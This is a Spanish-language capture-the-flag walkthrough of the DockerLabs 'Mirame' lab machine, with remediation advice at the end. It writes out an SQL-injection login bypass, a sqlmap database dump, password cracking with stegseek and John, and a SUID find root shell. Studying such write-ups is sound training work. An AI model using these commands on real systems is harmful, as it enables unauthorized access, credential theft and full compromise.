Mirame
🧩 Introducción
Sección titulada «🧩 Introducción»En este artículo se documenta la resolución completa de la máquina virtual Mirame, creada por maciiii___ y clasificada como fácil en la plataforma DockerLabs. El objetivo es ofrecer una guía reproducible, estructurada y didáctica, explicando qué se hizo, por qué se realizó cada acción y cómo identificar patrones similares en otros entornos.
El proceso se desarrolla en tres fases:
- Reconocimiento – Identificación de servicios expuestos, rutas web y posibles puntos de entrada.
- Explotación – Obtención de acceso inicial aprovechando vulnerabilidades en WordPress o aplicaciones web.
- Escalada de privilegios – Abuso de configuraciones inseguras (
SUID,cron,sudo) para obtener privilegios deroot.
⚠️ Aviso: Todas las acciones descritas se realizaron en un entorno controlado de laboratorio. No ejecutes pruebas intrusivas fuera de entornos autorizados.
🧠 Información general
Sección titulada «🧠 Información general»| Atributo | Detalle |
|---|---|
| Nombre | Mirame |
| Autor | maciiii___ |
| Dificultad | Fácil |
| Fecha de creación | 12/08/2024 |
| Plataforma | DockerLabs |
⚙️ Paso 0 — Preparación y despliegue
Sección titulada «⚙️ Paso 0 — Preparación y despliegue»-
Descomprimir el paquete descargado desde DockerLabs:
Ventana de terminal unzip Mirame.zip -
Desplegar el contenedor con el script de instalación:
Ventana de terminal sudo bash auto_deploy.sh Mirame.tar
El script levanta automáticamente el contenedor Docker y muestra la IP asignada al finalizar. Guarda esta dirección, ya que se utilizará durante el reconocimiento.
🔍 Paso 1 — Reconocimiento
Sección titulada «🔍 Paso 1 — Reconocimiento»1.1 Organización del entorno
Sección titulada «1.1 Organización del entorno»Creamos una estructura de carpetas para mantener orden y evidencia:
mkdir -p Mirame/{content,exploits,nmap,scripts}cd Mirame💡 Consejo: Mantener los resultados organizados desde el inicio facilita la documentación y el análisis final.

1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Ejecutamos un barrido completo con Nmap:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPortsExtraemos los puertos detectados:
extractPorts allPorts
Resultados:
| Puerto | Servicio | Descripción |
|---|---|---|
| 80/tcp | HTTP | Sitio web principal (posible CMS) |
| 22/tcp | SSH | Servicio de conexión remota |
1.3 Enumeración web
Sección titulada «1.3 Enumeración web»Enumeramos rutas con Gobuster:
gobuster dir -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js -t 200 -o gobuster.txtRutas encontradas:
/index.php– Página principal del sitio.

Gobuster solo listó el index.php, así que continuamos el análisis manualmente.
💥 Paso 2 — Explotación
Sección titulada «💥 Paso 2 — Explotación»El formulario del index.php parece vulnerable a inyección SQL (SQLi).
Probamos ingresando una comilla simple ' en cualquier campo y la aplicación arroja un error SQL.

Probamos un bypass de autenticación clásico:
Usuario: adminContraseña: ' or 1=1-- -Con esto obtenemos acceso a una página de consulta meteorológica.

Enumeración de base de datos con sqlmap
Sección titulada «Enumeración de base de datos con sqlmap»Dado que el formulario es vulnerable, utilizamos sqlmap para dumpear la base de datos:
sqlmap -u "http://172.17.0.2/index.php" --forms --batch -D users -T usuarios --dump
Los resultados muestran varios usuarios y contraseñas. Tras probarlos en SSH y login web sin éxito, observamos un campo “directorio” sospechoso.
Análisis del directorio “travieso”
Sección titulada «Análisis del directorio “travieso”»Accedemos al directorio mencionado y encontramos una imagen llamada miramebien.jpg.

Análisis de la imagen
Sección titulada «Análisis de la imagen»- Revisamos metadatos con
exiftool→ sin resultados útiles. - Probamos con
steghide, que muestra presencia de datos ocultos pero requiere contraseña.

-
Usamos
stegseekpara crackear la contraseña:Ventana de terminal stegseek miramebien.jpg /usr/share/wordlists/rockyou.txt

La contraseña revelada permite extraer el archivo oculto ocultito.zip.
Descompresión y crack de ZIP
Sección titulada «Descompresión y crack de ZIP»El archivo ZIP está protegido, por lo que generamos su hash y lo rompemos con John the Ripper:
zip2john ocultito.zip > hash.txtjohn hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Descomprimimos el ZIP y obtenemos las credenciales:
carlos:carlitosProbamos en SSH y obtenemos acceso exitoso como el usuario carlos.

🧑💻 Paso 3 — Escalada de privilegios
Sección titulada «🧑💻 Paso 3 — Escalada de privilegios»Buscamos binarios con el bit SUID activado:
find / -perm -4000 2>/dev/nullEncontramos /usr/bin/find con permisos SUID.

Ejecutamos:
find . -exec /bin/sh -p \; -quit✅ Acceso root conseguido.

Conclusión y aprendizajes
Sección titulada «Conclusión y aprendizajes»Cadena de explotación
Sección titulada «Cadena de explotación»- Formulario vulnerable → SQLi en
index.php. - Extracción de datos sensibles → usuarios y rutas mediante
sqlmap. - Ocultamiento de información → imagen con datos cifrados (
steganografía). - Crack de contraseñas →
stegseek+john. - Acceso remoto → credenciales SSH válidas (
carlos:carlitos). - Escalada de privilegios → abuso del binario SUID
find.
Fallos de seguridad identificados
Sección titulada «Fallos de seguridad identificados»| Tipo de vulnerabilidad | Descripción | Impacto |
|---|---|---|
| SQL Injection | Falta de sanitización de entradas en el formulario principal. | Compromiso total de la base de datos. |
| Exposición de archivos | Directorio accesible públicamente con información sensible. | Fuga de datos e imágenes con secretos ocultos. |
| Configuración insegura de SUID | Permite ejecutar comandos como root. | Escalada de privilegios completa. |
🛡️ Recomendaciones de remediación
Sección titulada «🛡️ Recomendaciones de remediación»- Implementar sentencias preparadas (PDO / mysqli) para prevenir SQLi.
- Restringir acceso a directorios y archivos mediante configuración de servidor.
- Revisar y eliminar bits SUID innecesarios.
- Implementar un control de contraseñas seguras y políticas de hash robustas.
- Realizar pruebas de penetración periódicas para identificar configuraciones inseguras.